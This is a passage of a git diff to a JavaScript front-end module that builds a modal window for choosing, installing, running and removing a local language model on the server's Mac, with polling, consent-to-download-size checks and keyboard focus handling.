(this._localModelInFlight) return this._localModelInFlight; const fresh = this._localModelStatus && Date.now() - (this._localModelLoadedAt || 0) < LOCAL_MODEL_MAX_AGE_MS; - if (fresh) { + if (fresh && !force) { this.renderLocalModel(); return Promise.resolve(); } @@ -312,6 +311,7 @@ Object.assign(CodemanApp.prototype, { }, async _fetchLocalModel() { + const verbs = this._localModelVerbs || 0; // `_api`, not `_apiJson`: a refusal (admin-only in multi-user mode) is an answer and must be // told apart from a request that failed. const res = await this._api(localModelUrl('/api/local-model')); @@ -323,12 +323,16 @@ Object.assign(CodemanApp.prototype, { body = null; } } + // A verb was answered while this request was on its way: what it carries is older than + // what is on screen, and the verb has asked again already. + if ((this._localModelVerbs || 0) !== verbs) return; // Only the route's own refusal is final. The auth layer answers 403 too, with // PASSWORD_CHANGE_REQUIRED, for an admin who must change the password first: that is a // failed request, asked again once the password is changed. if (res?.status === 403 && body?.errorCode === 'FORBIDDEN') { this._localModelState = 'refused'; this._localModelStatus = null; + this.closeLocalModelWindow(); this.renderLocalModel(); return; } @@ -345,110 +349,1139 @@ Object.assign(CodemanApp.prototype, { this.renderLocalModel(); }, - // ═══════════════════════════════════════════════════════════════ - // Dismissal (per device) - // ═══════════════════════════════════════════════════════════════ - - isLocalModelCardDismissed() { - if (this._localModelDismissed === true) return true; - try { - return localStorage.getItem(LOCAL_MODEL_DISMISS_KEY) === '1'; - } catch { - return false; - } + _localModelRefused() { + return this._localModelState === 'refused' || localModelNotAdmin(); }, - /** Hide the welcome card on this device. The Settings row keeps showing the same answer. */ - dismissLocalModelCard() { - // Remembered on the instance too: with storage blocked the card still stays away until a reload. - this._localModelDismissed = true; - try { - localStorage.setItem(LOCAL_MODEL_DISMISS_KEY, '1'); - } catch { - /* storage blocked: hidden for this page load only */ + /** What the page itself holds about the window: open or not, and the choices made in it. */ + _localModelWindowState() { + if (!this._localModelUi) { + this._localModelUi = { + open: false, + /** `auto`: the screen the install state dictates. `choose` and `confirm`: the person went there. */ + view: 'auto', + /** The selected row's model id, or null for the server's pick. */ + modelId: null, + /** The selected coding agent (a CLI id, as data), or null for the row's first. */ + cli: null, + /** A verb is in flight: every button waits. */ + busy: false, + /** What the last verb answered when it was refused. */ + notice: null, + /** After a 409 `size-changed`: the server's own total for the row, to show and to send. */ + expected: null, + /** The Remove question is open, and whether the downloaded model goes too. */ + confirmRemove: false, + removeModel: true, + }; + } + return this._localModelUi; + }, + + /** The selected row and coding agent, or null when no model fits. */ + _localModelSelection() { + const ui = this._localModelWindowState(); + const candidates = localModelCandidates(this._localModelStatus); + if (!candidates.length) return null; + const candidate = candidates.find((row) => row.modelId === ui.modelId) || candidates[0]; + const harnesses = localModelHarnesses(candidate); + const harness = harnesses.find((entry) => entry.cli === ui.cli) || harnesses[0]; + return { candidates, candidate, harnesses, harness }; + }, + + /** Which screen the window shows, see the table in @fileoverview. */ + _localModelScreen() { + const ui = this._localModelWindowState(); + const install = localModelInstall(this._localModelStatus); + const selection = this._localModelSelection(); + if (install.state === 'installing') return 'progress'; + if (install.state === 'installed') return 'installed'; + const canInstall = install.actions.includes('install') && !!selection; + if (canInstall && (ui.view === 'choose' || ui.view === 'confirm')) return ui.view; + if (install.state === 'paused') return 'paused'; + if (install.state === 'failed') return 'failed'; + return selection ? 'choose' : 'none'; + }, + + // ═══════════════════════════════════════════════════════════════ + // The window: open, close, poll + // ═══════════════════════════════════════════════════════════════ + + isLocalModelWindowOpen() { + return this._localModelWindowState().open === true; + }, + + /** Open the window (welcome button, Settings row) and start asking once a second. */ + openLocalModelWindow() { + const modal = document.getElementById('localModelModal'); + if (!modal || this._localModelRefused()) return; + const ui = this._localModelWindowState(); + if (ui.open) return; + Object.assign(ui, { open: true, view: 'auto', busy: false, notice: null, expected: null, confirmRemove: false }); + this._forgetLocalModelPaint(); + modal.classList.add('active'); + // A trap of its own: the window can open on top of App Settings, whose trap must stay + // that modal's. Only the Tab cycle of FocusTrap is used, so the first focus is ours to place. + if (typeof FocusTrap === 'function') { + this._localModelFocusTrap = new FocusTrap(modal); + this._localModelFocusTrap.previouslyFocused = document.activeElement; + modal.addEventListener('keydown', this._localModelFocusTrap.boundHandleKeydown); + } else { + this._localModelReturnFocus = document.activeElement; } this.renderLocalModel(); + this._focusLocalModelWindow(null); + void this.loadLocalModel({ force: true }); + this._scheduleLocalModelPoll(); + }, + + /** + * Close the window and stop asking. Called by the close button, the backdrop, Escape and + * "Start a session"; a no-op unless the window is open. + */ + closeLocalModelWindow() { + const ui = this._localModelWindowState(); + if (!ui.open) return; + ui.open = false; + if (this._localModelPollTimer) clearTimeout(this._localModelPollTimer); + this._localModelPollTimer = null; + document.getElementById('localModelModal')?.classList.remove('active'); + if (this._localModelFocusTrap) { + this._localModelFocusTrap.deactivate(); + this._localModelFocusTrap = null; + } else if (this._localModelReturnFocus && typeof this._localModelReturnFocus.focus === 'function') { + this._localModelReturnFocus.focus(); + } + this._localModelReturnFocus = null; + // The button and the row may say something else now (installed, installing). + this.renderLocalModel(); + }, + + /** One tick a second while the window is open; the timer is not re-armed once it is closed. */ + _scheduleLocalModelPoll() { + if (this._localModelPollTimer) clearTimeout(this._localModelPollTimer); + this._localModelPollTimer = null; + if (!this.isLocalModelWindowOpen()) return; + this._localModelPollTimer = setTimeout(() => { + this._localModelPollTimer = null; + if (!this.isLocalModelWindowOpen()) return; + // A tab in the background keeps its place in the queue and asks nothing. + const asked = document.hidden === true ? Promise.resolve() : this.loadLocalModel({ force: true }); + void Promise.resolve(asked).finally(() => this._scheduleLocalModelPoll()); + }, LOCAL_MODEL_POLL_MS); + }, + + // ═══════════════════════════════════════════════════════════════ + // Verbs + // ═══════════════════════════════════════════════════════════════ + + /** + * Send one install verb. On success the answer is the `install` object after the verb, which + * is painted at once; a 409 leaves the server's sentence on screen. Either way the whole + * status is read again, because a verb can change the recommendation too. + */ + async _localModelVerb(method, path, body) { + const ui = this._localModelWindowState(); + if (ui.busy) return { ok: false }; + ui.busy = true; + ui.notice = null; + this.renderLocalModel(); + let res = null; + let json = null; + try { + res = await this._api(localModelUrl(path), body === undefined ? { method } : { method, body }); + if (res) { + try { + json = await res.json(); + } catch { + json = null; + } + } + } finally { + ui.busy = false; + } + const data = json && typeof json === 'object' && json.data && typeof json.data === 'object' ? json.data : null; + let result; + if (res?.ok && json?.success === true && data && typeof data.state === 'string') { + if (this._localModelStatus) this._localModelStatus = { ...this._localModelStatus, install: data }; + result = { ok: true, view: data }; + } else if (res?.status === 409 && data) { + ui.notice = { message: data.message, sessions: data.sessions }; + result = { ok: false, conflict: data }; + } else { + ui.notice = res + ? { refused: true, detail: typeof json?.error === 'string' ? json.error : '' } + : { unreachable: true }; + result = { ok: false }; + } + this._localModelVerbs = (this._localModelVerbs || 0) + 1; + this.renderLocalModel(); + // After any read that was already under way (its answer is dropped, see _fetchLocalModel). + void Promise.resolve(this._localModelInFlight).then(() => this.loadLocalModel({ force: true })); + return result; + }, + + /** "Install on this Mac": the confirm screen with the sizes. Nothing is sent yet. */ + reviewLocalModelInstall() { + const ui = this._localModelWindowState(); + Object.assign(ui, { view: 'confirm', notice: null, expected: null }); + this.renderLocalModel(); + }, + + /** Back to the chooser (from the confirm screen, or to pick another model after a stop). */ + chooseLocalModel(modelId) { + const ui = this._localModelWindowState(); + Object.assign(ui, { view: 'choose', notice: null, expected: null, confirmRemove: false }); + if (typeof modelId === 'string') { + ui.modelId = modelId; + ui.cli = null; + } + this.renderLocalModel(); + }, + + /** Back from the chooser to what the install state says (a paused or stopped install). */ + leaveLocalModelChooser() { + const ui = this._localModelWindowState(); + Object.assign(ui, { view: 'auto', notice: null, expected: null }); + this.renderLocalModel(); + }, + + /** Select a row of the chooser. The coding agent stays when the new row offers it too. */ + selectLocalModel(modelId) { + const ui = this._localModelWindowState(); + if (ui.busy) return; + ui.modelId = modelId; + ui.expected = null; + this.renderLocalModel(); + }, + + /** + * "Download and install": the consent click. Sends the row with the total that was on screen; + * a server whose own total differs answers 409, and the screen then shows that total. + */ + async installLocalModel() { + const ui = this._localModelWindowState(); + const selection = this._localModelSelection(); + if (!selection) return; + const { candidate, harness } = selection; + const install = localModelInstall(this._localModelStatus); + const expected = ui.expected && ui.expected.modelId === candidate.modelId ? ui.expected : null; + const result = await this._localModelVerb('POST', '/api/local-model/install', { + modelId: candidate.modelId, + cli: harness.cli, + context: candidate.context, + acknowledgedBytes: expected ? expected.bytes : localModelInstallBytes(candidate, install), + }); + if (result.ok) { + Object.assign(ui, { view: 'auto', expected: null }); + } else if (result.conflict?.reason === 'size-changed' && Number.isFinite(result.conflict.expectedBytes)) { + ui.expected = { + modelId: candidate.modelId, + bytes: result.conflict.expectedBytes, + gb: typeof result.conflict.expectedGb === 'string' ? result.conflict.expectedGb : '', + }; + } else if (result.conflict) { + // A job is running or a model is installed already: show that, with the server's sentence. + ui.view = 'auto'; + } + this.renderLocalModel(); + }, + + cancelLocalModelInstall() { + return this._localModelVerb('POST', '/api/local-model/cancel'); + }, + + /** "Continue", "Try again", "Use another port" of a paused or stopped install. */ + resumeLocalModelInstall({ newPort = false } = {}) { + return this._localModelVerb('POST', '/api/local-model/resume', newPort ? { newPort: true } : {}); + }, + + /** "Start" and "Stop" of an installed model's runtime. */ + setLocalModelRuntime(action, { newPort = false } = {}) { + return this._localModelVerb('POST', '/api/local-model/runtime', newPort ? { action, newPort: true } : { action }); + }, + + /** "Remove": first the question, then (with `confirmed`) the delete. */ + async removeLocalModel({ confirmed = false } = {}) { + const ui = this._localModelWindowState(); + if (!confirmed) { + Object.assign(ui, { confirmRemove: true, notice: null }); + this.renderLocalModel(); + return; + } + const result = await this._localModelVerb('DELETE', '/api/local-model', { removeModel: ui.removeModel === true }); + if (result.ok) Object.assign(ui, { confirmRemove: false, view: 'auto', modelId: null, cli: null }); + this.renderLocalModel(); + }, + + /** + * "Start a session": a session on the saved connection with the coding agent of the install. + * The page's own copies are stale right after an install (the settings flag was switched on + * by the server and the agent may have been installed a moment ago), so both are read again + * before the existing launcher runs. Both values are the payload's; no id is compared. + */ + async startLocalModelSession() { + const install = localModelInstall(this._localModelStatus); + if (typeof install.cli !== 'string' || typeof install.endpointId !== 'string') return; + const settingsOpen = document.getElementById('appSettingsModal')?.classList.contains('active'); + this.closeLocalModelWindow(); + if (settingsOpen) this.closeAppSettings?.(); + await this.loadAppSettingsFromServer?.(); + await this.loadCliListForSettings?.(); + await this.selectCustomModelEntry?.(install.cli, install.endpointId); }, // ═══════════════════════════════════════════════════════════════ // Render // ═══════════════════════════════════════════════════════════════ - /** Paint every mounted container (welcome card + App Settings row). */ + /** Paint every surface: the welcome button, the App Settings row and, when open, the window. */ renderLocalModel() { - const card = document.getElementById('localModelCard'); - if (card) this._renderLocalModelCard(card); - const row = document.getElementById('localModelSettings'); - if (row) this._renderLocalModelSettings(row); + this._renderLocalModelButton(); + this._renderLocalModelSettings(); + this._renderLocalModelWindow(); }, - _localModelRefused() { - return this._localModelState === 'refused' || localModelNotAdmin(); - }, - - _renderLocalModelCard(card) { - // The one piece of state the card holds itself: whether the alternatives were unfolded. - const wasOpen = card.querySelector('details')?.open === true; - card.textContent = ''; + /** Whether the server answered for a Mac (the only case in which anything about "this Mac" shows). */ + _localModelOnMac() { const status = this._localModelStatus; - const hidden = - !status || - this._localModelRefused() || - status.recommendation.reason === 'not-macos' || - this.isLocalModelCardDismissed(); - card.hidden = hidden; - if (hidden) return; - - const head = localModelEl('div', 'local-model-head'); - const title = localModelEl('h3', 'local-model-title', localModelT('Model on this Mac')); - title.id = 'localModelCardTitle'; - // The page can be open on another laptop or a tablet: "this Mac" is the server's. - title.title = localModelT('The Mac that Codeman runs on, which is not always the device you are reading on.'); - head.appendChild(title); - const hide = localModelEl('button', 'local-model-hide', localModelT('Hide')); - hide.type = 'button'; - hide.title = localModelT('Hide this card on this device. It stays in App Settings, under Models.'); - hide.addEventListener('click', () => this.dismissLocalModelCard()); - head.appendChild(hide); - card.appendChild(head); - - const box = localModelEl('div', 'local-model-box'); - box.appendChild(localModelBody(status, { fold: true })); - card.appendChild(box); - const details = card.querySelector('details'); - if (details && wasOpen) details.open = true; + return !!status && !this._localModelRefused() && status.recommendation.reason !== 'not-macos'; }, - _renderLocalModelSettings(row) { + _renderLocalModelButton() { + const button = document.getElementById('welcomeLocalModelBtn'); + if (!button) return; + const shown = this._localModelOnMac(); + button.hidden = !shown; + if (!shown) return; + const installed = localModelInstall(this._localModelStatus).state === 'installed'; + const label = installed ? localModelT('Local model') : localModelT('Run a local model'); + const slot = document.getElementById('welcomeLocalModelLabel') || button; + slot.textContent = label; + // The page can be open on another laptop or a tablet: "this Mac" is the server's. + button.title = localModelT('The Mac that Codeman runs on, which is not always the device you are reading on.'); + }, + + /** The state in a few words, for the Settings row. */ + _localModelSummary() { + const status = this._localModelStatus; + const install = localModelInstall(status); + const model = install.model ? String(install.model.label || install.model.id || '') : ''; + if (install.state === 'installing') return localModelT('Installing {model}', { model }); + if (install.state === 'paused') return localModelT('The install of {model} is paused', { model }); + if (install.state === 'failed') return localModelT('The install of {model} stopped', { model }); + if (install.state === 'installed') { + if (install.running) return localModelT('{model} is running', { model }); + return localModelT('{model} is installed and stopped', { model }); + } + return localModelT('No model installed'); + }, + + _renderLocalModelSettings() { + const row = document.getElementById('localModelSettings'); + if (!row) return; row.textContent = ''; const status = this._localModelStatus; const failed = !status && this._localModelState === 'failed'; // The whole group goes for a non-admin, the way the other admin-only groups of this modal // do, and for a server that is not a Mac: its title and hint are about "this Mac". Until // the first answer nothing says the server is one, so the group waits for it. - const shown = !this._localModelRefused() && (failed || (!!status && status.recommendation.reason !== 'not-macos')); + const shown = !this._localModelRefused() && (failed || this._localModelOnMac()); const group = document.getElementById('localModelGroup'); if (group) group.style.display = shown ? '' : 'none'; + const open = document.getElementById('localModelSettingsOpen'); + if (open) open.hidden = !shown || !status; if (!shown) return; - if (status) { - row.appendChild(localModelBody(status, { fold: false })); + if (!status) { + row.appendChild(localModelEl('span', 'set-row-label', localModelT('Could not reach the server.'))); return; } - row.appendChild(localModelEl('div', 'local-model-headline', localModelT('Could not reach the server.'))); + row.appendChild(localModelEl('span', 'set-row-label', this._localModelSummary())); + const install = localModelInstall(status); + const none = install.state === 'idle' && !localModelCandidates(status).length; + // Nothing fits: the reason, in the server's sentence. Otherwise what the Mac is. + const detail = none + ? localModelMessage(status.recommendation.headline) + : localModelHardwareLine(status.hardware || {}); + if (detail) row.appendChild(localModelEl('span', 'set-row-desc', detail)); + if (open) { + const choosing = install.state === 'idle' && !none; + open.textContent = choosing ? localModelT('Choose a model') : localModelT('Open'); + } + }, + + /** + * Paint the window's body. Skipped when nothing it shows has changed (the poll asks every + * second). A tick that moved only the download replaces the bar and its figure alone, so a + * button is never swapped out under a click; any other change rebuilds the screen and puts + * the keyboard focus back on the control it was on. + */ + _renderLocalModelWindow() { + const ui = this._localModelWindowState(); + const body = document.getElementById('localModelWindowBody'); + if (!body || !ui.open) return; + const status = this._localModelStatus; + const key = JSON.stringify([status, this._localModelState, ui]); + if (key === this._localModelWindowKey) return; + this._localModelWindowKey = key; + // The same picture without the download figures: equal means only the download moved. + const still = status && status.install ? { ...status, install: { ...status.install, progress: null } } : status; + const frame = JSON.stringify([still, this._localModelState, ui]); + const last = this._localModelBarLast || {}; + const screen = this._localModelScreen(); + const meter = body.querySelector('.lm-meter'); + + if (frame === this._localModelFrameKey && (screen === 'progress' || screen === 'paused') && meter) { + meter.replaceWith(this._localModelDownloadMeter(screen, last)); + this._settleLocalModelBars(body); + return; + } + this._localModelFrameKey = frame; + + const modal = document.getElementById('localModelModal'); + const active = document.activeElement; + const inside = !!(modal && active && modal.contains(active)); + const focusKey = inside && active.dataset ? active.dataset.lmKey : undefined; + const scrolled = body.scrollTop; + body.dataset.screen = screen; + body.replaceChildren(...this._buildLocalModelScreen(screen, last)); + body.scrollTop = scrolled; + this._settleLocalModelBars(body); + if (inside || active === document.body) this._focusLocalModelWindow(focusKey); + }, + + /** + * Forget what the window last painted, so the next render rebuilds the whole screen. Both + * keys go: with the frame key left, a progress screen would repaint its bar alone and keep + * every other word in the language it was painted in. + */ + _forgetLocalModelPaint() { + this._localModelWindowKey = null; + this._localModelFrameKey = null; + }, + + /** Each bar was built at the width the last one of its kind had: move it to its own. */ + _settleLocalModelBars(body) { + const painted = {}; + for (const fill of body.querySelectorAll('.lm-bar-fill')) { + fill.getBoundingClientRect(); + fill.style.width = `${fill.dataset.to}%`; + painted[fill.dataset.kind] = Number(fill.dataset.to); + } + this._localModelBarLast = painted; + }, + + /** Put the focus on the control named `key`, else on the screen's main action, else on Close. */ + _focusLocalModelWindow(key) { + const modal = document.getElementById('localModelModal'); + const body = document.getElementById('localModelWindowBody'); + if (!modal || !body) return; + const keyed = [...body.querySelectorAll('[data-lm-key]')].filter((el) => !el.disabled); + const target = + (key && keyed.find((el) => el.dataset.lmKey === key && el.getAttribute('tabindex') !== '-1')) || + keyed.find((el) => el.dataset.lmKey === 'model' && el.getAttribute('aria-checked') === 'true') || + keyed.find((el) => el.dataset.lmKey === 'primary') || + keyed.find((el) => el.getAttribute('tabindex') !== '-1') || + modal.querySelector('.modal-close'); + if (target && typeof target.focus === 'function') target.focus({ preventScroll: true }); + }, + + _buildLocalModelScreen(screen, last) { + const status = this._localModelStatus; + if (!status) { + const waiting = this._localModelState === 'failed'; + const text = waiting ? localModelT('Could not reach the server.') : localModelT('Checking this Mac'); + return [localModelEl('p', 'lm-lead', text)]; + } + if (screen === 'choose') return this._buildLocalModelChooser(last); + if (screen === 'confirm') return this._buildLocalModelConfirm(); + if (screen === 'progress' || screen === 'paused') return this._buildLocalModelProgress(screen, last); + if (screen === 'failed') return this._buildLocalModelFailed(); + if (screen === 'installed') return this._buildLocalModelInstalled(); + return this._buildLocalModelNone(); + }, + + /** The hardware line every idle screen opens with. */ + _localModelHardwareEl() { + const text = localModelHardwareLine(this._localModelStatus.hardware || {}); + return text ? localModelEl('p', 'lm-hw', text) : null; + }, + + /** What the last verb answered when it was refused, or nothing. */ + _localModelNoticeEl() { + const notice = this._localModelWindowState().notice; + if (!notice) return null; + const box = localModelEl('div', 'lm-notice'); + box.setAttribute('role', 'alert'); + if (notice.message) { + box.appendChild(localModelEl('p', 'lm-notice-text', localModelMessage(notice.message))); + } else if (notice.unreachable) { + box.appendChild(localModelEl('p', 'lm-notice-text', localModelT('Could not reach the server.'))); + } else { + box.appendChild(localModelEl('p', 'lm-notice-text', localModelT('The server did not accept that.'))); + if (notice.detail) box.appendChild(localModelEl('p', 'lm-notice-detail', notice.detail)); + } + return box; + }, + + /** The one honest sentence about git and Python, only on a Mac without the developer tools. */ + _localModelDeveloperToolsEl() { + if (localModelInstall(this._localModelStatus).developerTools !== 'missing') return null; + return localModelEl( + 'p', + 'lm-aside', + localModelT( + 'Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer to install them the first time an agent needs one.' + ) + ); + }, + + /** One model row: the radio of the chooser, or the same line as plain text on the confirm screen. */ + _localModelRow(candidate, { checked, interactive, tabStop }) { + const row = localModelEl('div', 'lm-model'); + if (interactive) { + row.setAttribute('role', 'radio'); + row.setAttribute('aria-checked', checked ? 'true' : 'false'); + row.setAttribute('tabindex', tabStop ? '0' : '-1'); + row.dataset.lmKey = 'model'; + row.dataset.modelId = candidate.modelId; + row.appendChild(localModelEl('span', 'lm-radio')); + } else { + row.classList.add('lm-model-static'); + } + if (checked) row.classList.add('lm-model-on'); + row.appendChild(localModelEl('span', 'lm-model-name', String(candidate.modelLabel || candidate.modelId))); + const tagSlot = localModelEl('span', 'lm-model-tag'); + const label = candidate.tag && typeof candidate.tag.label === 'string' ? candidate.tag.label : ''; + if (label) { + const tag = localModelEl('span', 'lm-tag', localModelT(label)); + // The pick, and a row run on a Mac like this one, take the accent. Every other tag is quiet. + if (candidate.tag.kind === 'best' || candidate.tag.kind === 'tested') tag.classList.add('lm-tag-accent'); + tagSlot.appendChild(tag); + } + row.appendChild(tagSlot); + row.appendChild(localModelEl('span', 'lm-model-speed', localModelSpeedText(candidate))); + row.appendChild(localModelEl('span', 'lm-model-size', localModelGb(candidate.downloadGb))); + return row; + }, + + _buildLocalModelChooser(last) { + const ui = this._localModelWindowState(); + const status = this._localModelStatus; + const recommendation = status.recommendation; + const install = localModelInstall(status); + const { candidates, candidate, harnesses, harness } = this._localModelSelection(); + const parts = []; + const hw = this._localModelHardwareEl(); + if (hw) parts.push(hw); + + // The memory bar: what this Mac can give a model, filled to what the selected one needs. + const meter = localModelEl('div', 'lm-meter'); + const head = localModelEl('div', 'lm-meter-head'); + const sizes = { need: candidate.needGb, budget: recommendation.budgetGb }; + head.appendChild(localModelEl('span', 'lm-figure', localModelT('About {need} of {budget} GB of memory', sizes))); + // A formula's figure says so, once. A wired limit and the runtime's own figure are facts. + if (recommendation.budgetSource === 'estimated') { + head.appendChild(localModelEl('span', 'lm-figure-aside', localModelT('estimated'))); + } + meter.appendChild(head); + const share = String(Math.round((Number.isFinite(candidate.budgetShare) ? candidate.budgetShare : 0) * 100)); + meter.appendChild( + localModelBar({ + share: candidate.budgetShare, + role: 'meter', + kind: 'memory', + from: last.memory, + label: localModelT('The selected model needs {share}% of the memory this Mac can give a model', { share }), + }) + ); + const legend = localModelEl('div', 'lm-legend'); + const context = localModelCount(candidate.context); + legend.appendChild(localModelEl('span', '', localModelT('The model at {context} tokens of context', { context }))); + legend.appendChild(localModelEl('span', '', localModelT('What stays free'))); + meter.appendChild(legend); + parts.push(meter); + + // The server's headline: its word for a pick it has run on a Mac like this one labels the + // list, and the small-model caveat is a sentence above it. "Best fit for this Mac" would + // only repeat the pick's tag, so the list is then labelled by what it holds. + const pick = recommendation.pick || {}; + const headline = localModelMessage(recommendation.headline); + if (recommendation.verdict === 'limited' && headline) parts.push(localModelEl('p', 'lm-lead', headline)); + const tested = pick.tested === true && recommendation.verdict !== 'limited' && !!headline; + + const list = localModelEl('div', 'lm-list'); + const caption = localModelEl('div', 'lm-caption'); + const captionLabel = tested + ? localModelEl('span', 'lm-caption-label lm-caption-strong', headline) + : localModelEl('span', 'lm-caption-label', localModelT('Models that fit this Mac')); + captionLabel.id = 'localModelListLabel'; + caption.appendChild(captionLabel); + caption.appendChild(localModelEl('span', 'lm-caption-speed', localModelT('Speed'))); + caption.appendChild(localModelEl('span', 'lm-caption-size', localModelT('Download'))); + list.appendChild(caption); + const group = localModelEl('div', 'lm-models'); + group.setAttribute('role', 'radiogroup'); + group.setAttribute('aria-labelledby', 'localModelListLabel'); + for (const row of candidates) { + const checked = row === candidate; + const el = this._localModelRow(row, { checked, interactive: true, tabStop: checked }); + el.addEventListener('click', () => this.selectLocalModel(row.modelId)); + group.appendChild(el); + } + group.addEventListener('keydown', (event) => this._onLocalModelListKey(event)); + list.appendChild(group); + parts.push(list); + + const notes = localModelEl('div', 'lm-notes'); + for (const note of Array.isArray(recommendation.notes) ? recommendation.notes : []) { + const text = localModelMessage(note); + if (text) notes.appendChild(localModelEl('p', 'lm-aside', text)); + } + if (notes.childElementCount) parts.push(notes); + + // The coding agent, on its own line: only the ones the server offers for the selected row. + const runs = localModelEl('div', 'lm-runs'); + const runsLabel = localModelEl('label', 'lm-runs-label', localModelT('Runs with')); + runsLabel.htmlFor = 'localModelCli'; + runs.appendChild(runsLabel); + const select = localModelEl('select', 'lm-select'); + select.id = 'localModelCli'; + select.dataset.lmKey = 'cli'; + harnesses.forEach((entry, index) => { + const option = localModelEl('option', '', String(entry.cliLabel || entry.cli)); + option.value = String(index); + option.selected = entry === harness; + select.appendChild(option); + }); + select.addEventListener('change', () => { + const chosen = harnesses[Number(select.value)]; + if (!chosen) return; + ui.cli = chosen.cli; + this.renderLocalModel(); + }); + runs.appendChild(select); + const hints = []; + if (harness.installed === false) hints.push(localModelT('Not on this Mac yet. It is installed for you.')); + if (harness.slowFirstTurn === true) hints.push(localModelT('The first answer can take minutes.')); + if (hints.length) runs.appendChild(localModelEl('span', 'lm-runs-hint', hints.join(' '))); + parts.push(runs); + + const notice = this._localModelNoticeEl(); + if (notice) parts.push(notice); + + const foot = localModelEl('div', 'lm-foot'); + const promise = localModelT('No account and no API key. The model runs only on this Mac.'); + foot.appendChild(localModelEl('p', 'lm-foot-note', promise)); + const buttons = localModelEl('div', 'lm-buttons'); + // Reached from a paused or stopped install: the way back to it. + if (install.state !== 'idle') { + buttons.appendChild( + localModelButton(localModelT('Back'), { key: 'back', onClick: () => this.leaveLocalModelChooser() }) + ); + } + if (install.actions.includes('install')) { + buttons.appendChild( + localModelButton(localModelT('Install on this Mac'), { + key: 'primary', + primary: true, + disabled: ui.busy, + onClick: () => this.reviewLocalModelInstall(), + }) + ); + } + if (buttons.childElementCount) foot.appendChild(buttons); + parts.push(foot); + return parts; + }, + + /** Arrow keys, Home and End move the selection of the radio group, and the focus with it. */ + _onLocalModelListKey(event) { + const selection = this._localModelSelection(); + if (!selection) return; + const { candidates, candidate } = selection; + const index = candidates.indexOf(candidate); + let next = -1; + if (event.key === 'ArrowDown' || event.key === 'ArrowRight') next = (index + 1) % candidates.length; + else if (event.key === 'ArrowUp' || event.key === 'ArrowLeft') + next = (index - 1 + candidates.length) % candidates.length; + else if (event.key === 'Home') next = 0; + else if (event.key === 'End') next = candidates.length - 1; + else if (event.key === ' ' || event.key === 'Enter') next = index; + if (next < 0) return; + event.preventDefault(); + // The repaint puts the focus on the row that is selected now: the group's one tab stop. + this.selectLocalModel(candidates[next].modelId); + }, + + _buildLocalModelConfirm() { + const ui = this._localModelWindowState(); + const status = this._localModelStatus; + const install = localModelInstall(status); + const { candidate, harness } = this._localModelSelection(); + const parts = []; + const hw = this._localModelHardwareEl(); + if (hw) parts.push(hw); + + // The list collapses to the chosen row. + const chosen = localModelEl('div', 'lm-list'); + const one = localModelEl('div', 'lm-models'); + one.appendChild(this._localModelRow(candidate, { checked: true, interactive: false })); + chosen.appendChild(one); + parts.push(chosen); + const cli = String(harness.cliLabel || harness.cli); + const runs = localModelT('Runs with {cli}, at {context} tokens of context.', { + cli, + context: localModelCount(candidate.context), + }); + parts.push(localModelEl('p', 'lm-aside', runs)); + + // What is downloaded, with sizes: the model, the runtime while it is missing, the total. + const sizes = localModelEl('div', 'lm-sizes'); + sizes.appendChild(localModelEl('h4', 'lm-heading', localModelT('What is downloaded'))); + sizes.appendChild(localModelSizeRow(String(candidate.modelLabel || candidate.modelId), candidate.downloadGb)); + const runtime = install.runtime || {}; + if (runtime.installed !== true && Number(runtime.downloadBytes) > 0 && runtime.downloadGb) { + const what = localModelT('Ollama {version}, the program that runs the model', { version: runtime.version }); + sizes.appendChild(localModelSizeRow(what, runtime.downloadGb)); + } + const expected = ui.expected && ui.expected.modelId === candidate.modelId ? ui.expected : null; + const total = expected ? expected.gb : candidate.installGb; + if (total) sizes.appendChild(localModelSizeRow(localModelT('Total'), total, { strong: true })); + parts.push(sizes); + + // The coding agent, when it is missing: the literal command its installer runs. + if (harness.installed === false) { + const agent = localModelEl('div', 'lm-agent'); + const lead = harness.installCommand + ? localModelT('{cli} is not on this Mac yet. Its own installer is run with this command:', { cli }) + : localModelT('{cli} is not on this Mac yet. It is installed with its own installer.', { cli }); + agent.appendChild(localModelEl('p', 'lm-aside', lead)); + if (harness.installCommand) agent.appendChild(localModelEl('code', 'lm-command', String(harness.installCommand))); + parts.push(agent); + } + + const where = localModelEl('div', 'lm-where'); + if (install.folder) { + where.appendChild(localModelEl('p', 'lm-aside', localModelT('The model and the program that runs it go into:'))); + where.appendChild(localModelEl('code', 'lm-command', String(install.folder))); + } + where.appendChild(localModelEl('p', 'lm-aside', localModelT('No administrator password.'))); + parts.push(where); + const tools = this._localModelDeveloperToolsEl(); + if (tools) parts.push(tools); + + const notice = this._localModelNoticeEl(); + if (notice) parts.push(notice); + + const foot = localModelEl('div', 'lm-foot'); + const buttons = localModelEl('div', 'lm-buttons'); + buttons.appendChild( + localModelButton(localModelT('Back'), { key: 'back', disabled: ui.busy, onClick: () => this.chooseLocalModel() }) + ); + buttons.appendChild( + localModelButton(localModelT('Download and install'), { + key: 'primary', + primary: true, + disabled: ui.busy, + onClick: () => void this.installLocalModel(), + }) + ); + foot.appendChild(buttons); + parts.push(foot); + return parts; + }, + + /** The steps of the job as a short list: done, the current one, and what is still to come. */ + _localModelStepsEl(install, { stopped }) { + const steps = Array.isArray(install.steps) ? install.steps : []; + if (!steps.length) return null; + const list = localModelEl('ol', 'lm-steps'); + const at = steps.indexOf(install.step); + steps.forEach((step, index) => { + const item = localModelEl('li', 'lm-step'); + if (index < at) item.classList.add('lm-step-done'); + else if (index === at) { + item.classList.add(stopped ? 'lm-step-stopped' : 'lm-step-now'); + item.setAttribute('aria-current', 'step'); + } + item.appendChild(localModelEl('span', 'lm-step-mark')); + item.appendChild( + localModelEl('span', 'lm-step-label', localModelStepLabel(step, String(install.cliLabel || ''))) + ); + list.appendChild(item); + }); + return list; + }, + + /** The Remove question, in place of a screen's buttons. */ + _localModelRemoveEl() { + const ui = this._localModelWindowState(); + const box = localModelEl('div', 'lm-remove'); + box.appendChild(localModelEl('p', 'lm-lead', localModelT('Remove the local model from this Mac?'))); + const label = localModelEl('label', 'lm-check'); + const check = localModelEl('input', ''); + check.type = 'checkbox'; + check.checked = ui.removeModel === true; + check.dataset.lmKey = 'remove-model'; + check.addEventListener('change', () => { + ui.removeModel = check.checked; + this.renderLocalModel(); + }); + label.appendChild(check); + label.appendChild(localModelEl('span', '', localModelT('Also delete the downloaded model'))); + box.appendChild(label); + box.appendChild(localModelEl('p', 'lm-aside', localModelT('The coding agent stays installed.'))); + const notice = this._localModelNoticeEl(); + if (notice) box.appendChild(notice); + const buttons = localModelEl('div', 'lm-buttons'); + 